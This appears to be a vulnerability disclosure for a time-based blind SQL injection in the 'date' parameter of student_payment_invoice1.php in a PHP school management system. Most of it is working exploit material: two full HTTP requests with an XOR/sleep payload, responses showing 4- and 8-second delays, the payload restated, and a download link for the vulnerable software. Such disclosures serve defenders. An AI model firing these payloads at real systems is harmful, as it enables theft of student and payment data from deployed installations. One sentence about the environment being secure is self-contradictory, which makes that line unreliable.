

SQL injection vulnerability exists in date parameter of /view/student_payment_invoice1.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 GET /std1/view/student_payment_invoice1.php?date=0'XOR(if(now())=sysdate())%2Csleep(2)%2C0))XOR'Z&desc=desc&index=index&month=month&paid=mFee&year=year HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:39:47 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 6269
8
9 <!--MSK-000136-->
10 <div class="modal msk-fade" id="modalINV1" tabindex="-1" role="dialog" aria-labelledby="insert_alert1" aria-hidden="true" data-backdrop="static" data-keyboard="false">
11   <div class="modal-dialog">
12     <!--modal-dialog -->
13     <div class="container col-lg-12">
14       <!--modal-content -->
15       <div class="row">
16         <div class="panel panel-info">
17           <!--panel -->
18           <div class="msk-heading">
```

Done 6,459 bytes | 4,027 millis

Sleep time is 8s:

Request

```
1 GET /std1/view/student_payment_invoice1.php?date=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z&desc=desc&index=index&month=month&paid=mFee&year=year HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:39:32 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 6269
8
9 <!--MSK-000136-->
10 <div class="modal msk-fade" id="modalINV1" tabindex="-1" role="dialog" aria-labelledby="insert_alert1" aria-hidden="true" data-backdrop="static" data-keyboard="false">
11   <div class="modal-dialog">
12     <!--modal-dialog -->
13     <div class="container col-lg-12">
14       <!--modal-content -->
15       <div class="row">
16         <div class="panel panel-info">
17           <!--panel -->
18           <div class="msk-heading">
```

Done 6,459 bytes | 8,042 millis

Payload: date=0'XOR(if(now())=sysdate())%2Csleep(2)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>